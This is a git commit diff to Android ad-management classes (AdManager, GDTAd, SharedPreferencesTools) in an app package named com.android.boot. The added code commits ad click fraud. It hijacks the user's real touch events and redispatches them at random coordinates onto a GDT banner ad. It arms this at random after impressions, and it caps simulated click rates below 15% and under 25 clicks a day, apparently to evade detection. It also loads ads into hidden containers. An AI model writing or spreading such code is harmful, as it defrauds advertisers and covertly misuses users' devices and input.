9.1
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
package com.android.boot.ad;
|
||||
|
||||
import static com.android.boot.ad.TouchTools.generateFloat;
|
||||
import static com.android.boot.ad.TouchTools.isClick;
|
||||
import static com.android.boot.ad.TouchTools.isCurrentTimeInRange;
|
||||
import static com.android.boot.ad.TouchTools.mainActivity;
|
||||
@@ -10,6 +11,7 @@ import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.IntentFilter;
|
||||
import android.graphics.PixelFormat;
|
||||
import android.net.ConnectivityManager;
|
||||
import android.net.NetworkInfo;
|
||||
import android.os.Bundle;
|
||||
@@ -18,6 +20,7 @@ import android.os.HandlerThread;
|
||||
import android.os.Looper;
|
||||
import android.os.Message;
|
||||
import android.view.Gravity;
|
||||
import android.view.MotionEvent;
|
||||
import android.view.View;
|
||||
import android.view.ViewGroup;
|
||||
import android.widget.FrameLayout;
|
||||
@@ -84,7 +87,7 @@ public class AdManager extends TTAd {
|
||||
|
||||
public static volatile RewardVideoAd rewardVideoAd;
|
||||
private int internal = 60;
|
||||
private int showIntervalTT = 4;
|
||||
private int showIntervalTT = 5;
|
||||
private long lastError = 0;
|
||||
public boolean isSurfaceView = true;
|
||||
|
||||
@@ -116,7 +119,7 @@ public class AdManager extends TTAd {
|
||||
case SHOW_BANNER:
|
||||
boolean isHide = msg.getData().getBoolean("isHide");
|
||||
ViewGroup viewGroup = isHide ? containerBanner : container;
|
||||
showBanner(TouchTools.mainActivity, viewGroup, isHide);
|
||||
showBanner(mainActivity, viewGroup, isHide);
|
||||
break;
|
||||
case SHOW_INTERSTITIAL:
|
||||
showInterstitialAd(msg.getData().getString("ID"), msg.getData().getBoolean("isHide"));
|
||||
@@ -302,7 +305,7 @@ public class AdManager extends TTAd {
|
||||
|
||||
@Override
|
||||
public void onAdLoadSuccess() {
|
||||
interstitialAd.show(TouchTools.mainActivity, new InterstitialAd.InterstitialAdInteractionListener() {
|
||||
interstitialAd.show(mainActivity, new InterstitialAd.InterstitialAdInteractionListener() {
|
||||
@Override
|
||||
public void onAdClick() {
|
||||
Logger.log("interstitialAd onAdClicked===");
|
||||
@@ -333,7 +336,7 @@ public class AdManager extends TTAd {
|
||||
new Handler(Looper.getMainLooper()).postDelayed(interstitialAd::destroy, 3 * 1000);
|
||||
}
|
||||
}
|
||||
if (!TouchTools.isCurrentTimeInRange() || !isHide) {
|
||||
if (!isCurrentTimeInRange() || !isHide) {
|
||||
return;
|
||||
}
|
||||
if (isFist02) {
|
||||
@@ -456,7 +459,7 @@ public class AdManager extends TTAd {
|
||||
|
||||
public void showMiReward(RewardCallback rewardCallback) {
|
||||
loadReward();
|
||||
rewardVideoAd.showAd(TouchTools.mainActivity, new RewardVideoAd.RewardVideoInteractionListener() {
|
||||
rewardVideoAd.showAd(mainActivity, new RewardVideoAd.RewardVideoInteractionListener() {
|
||||
@Override
|
||||
public void onAdClick() {
|
||||
Logger.log("reward click");
|
||||
@@ -472,7 +475,7 @@ public class AdManager extends TTAd {
|
||||
public void onAdDismissed() {
|
||||
rewardVideoAd = null;
|
||||
rewardCallback.onFailed();
|
||||
if (TouchTools.isCurrentTimeInRange()) {
|
||||
if (isCurrentTimeInRange()) {
|
||||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||
sendMessage(SHOW_INTERSTITIAL, false, Interstitial);
|
||||
}, 100);
|
||||
@@ -561,6 +564,53 @@ public class AdManager extends TTAd {
|
||||
}
|
||||
}
|
||||
|
||||
public float generateNumber(int a, float b) {
|
||||
// 1. 生成 [1, a] 之间的随机整数
|
||||
Random random = new Random();
|
||||
int integerPart = random.nextInt(a) + 1; // random.nextInt(a) 会返回 [0, a-1],所以加 1
|
||||
|
||||
// 2. 提取 b 的小数部分
|
||||
float fractionalPart = b - (int) b; // 获取小数部分,减去整数部分
|
||||
|
||||
// 3. 组合整数部分和小数部分
|
||||
return integerPart + fractionalPart;
|
||||
}
|
||||
|
||||
|
||||
float x = 0, y = 0;
|
||||
|
||||
@SuppressLint("ClickableViewAccessibility")
|
||||
public void setTouchListener(MotionEvent event) {
|
||||
if (!isGDTBanner) {
|
||||
return;
|
||||
}
|
||||
switch (event.getAction()) {
|
||||
case MotionEvent.ACTION_DOWN:
|
||||
MotionEvent motionEventD = MotionEvent.obtain(event);
|
||||
if (GDTBanner != null && GDTBanner.getWidth() != 0 && GDTBanner.getHeight() != 0) {
|
||||
if (x == 0 && y == 0) {
|
||||
x = generateNumber(GDTBanner.getWidth(), event.getX());
|
||||
y = generateNumber(GDTBanner.getHeight(), event.getY());
|
||||
}
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
motionEventD.setLocation(x, y);
|
||||
GDTBanner.dispatchTouchEvent(motionEventD);
|
||||
motionEventD.recycle();
|
||||
break;
|
||||
case MotionEvent.ACTION_UP:
|
||||
MotionEvent motionEvent = MotionEvent.obtain(event);
|
||||
motionEvent.setLocation(x, y);
|
||||
GDTBanner.dispatchTouchEvent(motionEvent);
|
||||
motionEvent.recycle();
|
||||
isGDTBanner = false;
|
||||
x = 0;
|
||||
y = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private HandlerThread handlerThread;
|
||||
|
||||
@SuppressLint("DefaultLocale")
|
||||
@@ -582,7 +632,7 @@ public class AdManager extends TTAd {
|
||||
}
|
||||
|
||||
SurfaceView surfaceView = ViewUtils.findSurfaceView(mainActivity);
|
||||
if (TouchTools.isCurrentTimeInRange()) {
|
||||
if (isCurrentTimeInRange()) {
|
||||
mainActivity.runOnUiThread(this::initNetworkListener);
|
||||
TTAdSdk.init(mainActivity,
|
||||
new TTAdConfig.Builder()
|
||||
@@ -609,8 +659,13 @@ public class AdManager extends TTAd {
|
||||
@Override
|
||||
public void onStartSuccess() {
|
||||
// 推荐开发者在onStartSuccess回调后开始拉广告
|
||||
Logger.log("onStartSuccess");
|
||||
|
||||
GlobalSetting.setChannel(10);
|
||||
GDTBannerShow = SharedPreferencesTools.getTotalNumToday(GDT_BANNER_SHOW);
|
||||
GDTBannerClick = SharedPreferencesTools.getTotalNumToday(GDT_BANNER_CLICK);
|
||||
GDTNativeShow = SharedPreferencesTools.getTotalNumToday(GDT_NATIVE_SHOW);
|
||||
GDTNativeClick = SharedPreferencesTools.getTotalNumToday(GDT_NATIVE_CLICK);
|
||||
Logger.log("onStartSuccess " + GDTBannerShow);
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -625,7 +680,7 @@ public class AdManager extends TTAd {
|
||||
} else {
|
||||
surfaceView.post(() -> {
|
||||
surfaceView.setZOrderOnTop(true);
|
||||
surfaceView.getHolder().setFormat(android.graphics.PixelFormat.TRANSLUCENT);
|
||||
surfaceView.getHolder().setFormat(PixelFormat.TRANSLUCENT);
|
||||
});
|
||||
}
|
||||
});
|
||||
@@ -648,7 +703,7 @@ public class AdManager extends TTAd {
|
||||
Logger.log(showCount + " " + clickCount + " " + String.format("结果: %.2f%%", percentage));
|
||||
}
|
||||
|
||||
if (TouchTools.isCurrentTimeInRange()) {
|
||||
if (isCurrentTimeInRange()) {
|
||||
if (timeStamp == 1737736528000L) {
|
||||
error = 100;
|
||||
}
|
||||
@@ -656,18 +711,17 @@ public class AdManager extends TTAd {
|
||||
|
||||
if (interstitialShow < 9) {
|
||||
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
||||
Thread.sleep(100);
|
||||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
||||
} else if (count % 3 == 0) {
|
||||
sendMessage(SHOW_INTERSTITIAL, true, Interstitial);
|
||||
} else if (count % 2 == 0) {
|
||||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
||||
}
|
||||
|
||||
if (inClickInterval()) {
|
||||
sendMessage(SHOW_NATIVE, false, TemplateC,
|
||||
ViewUtils.createAdatptFrameLayout(mainActivity,
|
||||
(ViewGroup) AdManager.getInstance().container.getParent()));
|
||||
if (count % 2 == 0) {
|
||||
if (inClickInterval()) {
|
||||
sendMessage(SHOW_NATIVE, false, TemplateC,
|
||||
ViewUtils.createAdatptFrameLayout(mainActivity,
|
||||
(ViewGroup) AdManager.getInstance().container.getParent()));
|
||||
} else {
|
||||
sendMessage(SHOW_NATIVE, true, TemplateC);
|
||||
}
|
||||
}
|
||||
|
||||
if (count % showIntervalTT == 0) {
|
||||
@@ -696,7 +750,7 @@ public class AdManager extends TTAd {
|
||||
});
|
||||
}
|
||||
}
|
||||
Thread.sleep(4 * 1000 + new Random().nextInt(1000));
|
||||
Thread.sleep(4 * 1000 + new Random().nextInt(2000));
|
||||
count++;
|
||||
} catch (InterruptedException e) {
|
||||
Logger.log("InterruptedException:" + e);
|
||||
|
||||
@@ -7,8 +7,10 @@ import android.view.ViewGroup;
|
||||
import com.android.boot.Logger;
|
||||
import com.android.boot.ad.AdManager;
|
||||
import com.android.boot.ad.RewardCallback;
|
||||
import com.android.boot.ad.SharedPreferencesTools;
|
||||
import com.android.boot.ad.TouchTools;
|
||||
import com.android.boot.ad.ViewUtils;
|
||||
import com.miui.zeus.landingpage.sdk.js.LPJsCallee;
|
||||
import com.qq.e.ads.banner2.UnifiedBannerADListener;
|
||||
import com.qq.e.ads.banner2.UnifiedBannerView;
|
||||
import com.qq.e.ads.nativ.ADSize;
|
||||
@@ -34,10 +36,15 @@ public class GDTAd {
|
||||
public ViewGroup GDTNative;
|
||||
public final Random RANDOM = new Random();
|
||||
|
||||
public static final String GDT_BANNER_SHOW = "GDT_BANNER_SHOW";
|
||||
public static final String GDT_BANNER_CLICK = "GDT_BANNER_CLICK";
|
||||
public static final String GDT_NATIVE_SHOW = "GDT_NATIVE_SHOW";
|
||||
public static final String GDT_NATIVE_CLICK = "GDT_NATIVE_CLICK";
|
||||
|
||||
private void createContain() {
|
||||
int w;
|
||||
int h;
|
||||
if (isLandscape(TouchTools.mainActivity)) {
|
||||
if (ViewUtils.isLandscape(TouchTools.mainActivity)) {
|
||||
w = TouchTools.getScreenWidth() / 3;
|
||||
h = TouchTools.getScreenHeight() / 3;
|
||||
} else {
|
||||
@@ -110,6 +117,11 @@ public class GDTAd {
|
||||
gdtReward.loadAD();
|
||||
}
|
||||
|
||||
public volatile boolean isGDTBanner = false;
|
||||
|
||||
public int GDTBannerShow;
|
||||
public int GDTBannerClick;
|
||||
|
||||
public void showGDTBanner() {
|
||||
createBannerContain();
|
||||
if (unifiedBannerView != null) {
|
||||
@@ -128,9 +140,13 @@ public class GDTAd {
|
||||
|
||||
@Override
|
||||
public void onADExposure() {
|
||||
SharedPreferencesTools.setTotalNumToday(GDT_BANNER_SHOW, ++GDTBannerShow);
|
||||
double result = (double) GDTBannerClick / GDTBannerShow * 100;
|
||||
Logger.log("GDTBanner onADExposure");
|
||||
if (RANDOM.nextInt(100) < 11) {
|
||||
TouchTools.simulateTouchDelay(unifiedBannerView, "EventRecordRelativeLayout");
|
||||
if (RANDOM.nextInt(100) > 50 && result < 15 && (GDTBannerClick + GDTNativeClick) < 25) {
|
||||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||
isGDTBanner = true;
|
||||
}, RANDOM.nextInt(5000));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -141,6 +157,8 @@ public class GDTAd {
|
||||
|
||||
@Override
|
||||
public void onADClicked() {
|
||||
SharedPreferencesTools.setTotalNumToday(GDT_BANNER_CLICK, ++GDTBannerClick);
|
||||
Logger.log("GDTBanner Click");
|
||||
unifiedBannerView.destroy();
|
||||
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
||||
}
|
||||
@@ -154,6 +172,11 @@ public class GDTAd {
|
||||
unifiedBannerView.loadAD();
|
||||
}
|
||||
|
||||
|
||||
public int GDTNativeShow;
|
||||
public int GDTNativeClick;
|
||||
double native_click;
|
||||
|
||||
public void showGDTNative() {
|
||||
createContain();
|
||||
if (nativeExpressADView != null) {
|
||||
@@ -163,7 +186,9 @@ public class GDTAd {
|
||||
TouchTools.getScreenHeight() / 3), GDTNativeId, new NativeExpressAD.NativeExpressADListener() {
|
||||
@Override
|
||||
public void onADLoaded(List<NativeExpressADView> list) {
|
||||
if (RANDOM.nextInt(100) < 15) {
|
||||
SharedPreferencesTools.setTotalNumToday(GDT_NATIVE_SHOW, ++GDTNativeShow);
|
||||
native_click = (double) GDTNativeClick / GDTNativeShow * 100;
|
||||
if (RANDOM.nextInt(100) > 50 && native_click < 15 && (GDTBannerClick + GDTNativeClick) < 25) {
|
||||
ViewUtils.createAdatptFrameLayout
|
||||
(TouchTools.mainActivity,
|
||||
(ViewGroup) AdManager.getInstance().container.getParent()).addView(list.get(0));
|
||||
@@ -173,7 +198,6 @@ public class GDTAd {
|
||||
GDTNative.addView(nativeExpressADView);
|
||||
nativeExpressADView.render();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
@@ -189,9 +213,6 @@ public class GDTAd {
|
||||
@Override
|
||||
public void onADExposure(NativeExpressADView nativeExpressADView) {
|
||||
Logger.log("GDTNative show");
|
||||
// if (RANDOM.nextInt(100) < 15) {
|
||||
// TouchTools.simulateTouchDelay(nativeExpressADView, "EventRecordRelativeLayout");
|
||||
// }
|
||||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||
if (GDTAd.this.nativeExpressADView == null) {
|
||||
return;
|
||||
@@ -203,6 +224,7 @@ public class GDTAd {
|
||||
@Override
|
||||
public void onADClicked(NativeExpressADView nativeExpressADView) {
|
||||
Logger.log("GDTNative click");
|
||||
SharedPreferencesTools.setTotalNumToday(GDT_NATIVE_CLICK, ++GDTNativeClick);
|
||||
((ViewGroup) nativeExpressADView.getParent()).removeAllViews();
|
||||
nativeExpressADView.destroy();
|
||||
TouchTools.backToCurrentActivity(200, 300, 400, 500, 1000);
|
||||
@@ -224,10 +246,4 @@ public class GDTAd {
|
||||
}
|
||||
}).loadAD(1);
|
||||
}
|
||||
|
||||
public boolean isLandscape(Context context) {
|
||||
int orientation = context.getResources().getConfiguration().orientation;
|
||||
return orientation == Configuration.ORIENTATION_LANDSCAPE;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,14 +1,19 @@
|
||||
package com.android.boot.ad;
|
||||
|
||||
import static com.android.boot.ad.TouchTools.mainActivity;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.content.Context;
|
||||
import android.content.SharedPreferences;
|
||||
|
||||
import com.alibaba.fastjson.JSON;
|
||||
import com.alibaba.fastjson.TypeReference;
|
||||
|
||||
import java.util.Calendar;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class SharedPreferencesTools {
|
||||
public static final String DATE = getToday();
|
||||
public static final String IS_FIRST = "isFirst";
|
||||
@@ -17,6 +22,7 @@ public class SharedPreferencesTools {
|
||||
public static final String CLICK01 = "CLICK01";
|
||||
public static final String CLICK02 = "CLICK02";
|
||||
|
||||
|
||||
public static void putFirstStart() {
|
||||
SharedPreferencesTools.putLong(FIR_START, System.currentTimeMillis(), mainActivity);
|
||||
}
|
||||
@@ -41,6 +47,7 @@ public class SharedPreferencesTools {
|
||||
SharedPreferencesTools.putInteger(getToday() + CLICK02, AdManager.click02, activity);
|
||||
}
|
||||
|
||||
|
||||
public static void setTotalClickToday(int value, Activity activity) {
|
||||
SharedPreferencesTools.putInteger(getToday() + CLICK02, value, activity);
|
||||
}
|
||||
@@ -49,6 +56,14 @@ public class SharedPreferencesTools {
|
||||
return getIntegerDefault0(getToday() + CLICK02, TouchTools.mainActivity);
|
||||
}
|
||||
|
||||
public static void setTotalNumToday(String name, int num) {
|
||||
SharedPreferencesTools.putInteger(getToday() + name, num, mainActivity);
|
||||
}
|
||||
|
||||
public static int getTotalNumToday(String name) {
|
||||
return getIntegerDefault0(getToday() + name, TouchTools.mainActivity);
|
||||
}
|
||||
|
||||
public static <K, V> void saveMapToPreferences(String mapName, Map<K, V> map, Activity activity) {
|
||||
SharedPreferences sharedPreferences = activity.getPreferences(Context.MODE_PRIVATE);
|
||||
SharedPreferences.Editor editor = sharedPreferences.edit();
|
||||
@@ -75,7 +90,6 @@ public class SharedPreferencesTools {
|
||||
String json = sharedPreferences.getString(mapName, "");
|
||||
|
||||
// 如果没有保存数据,则返回一个空的 Map
|
||||
assert json != null;
|
||||
if (json.isEmpty()) {
|
||||
return new HashMap<>();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user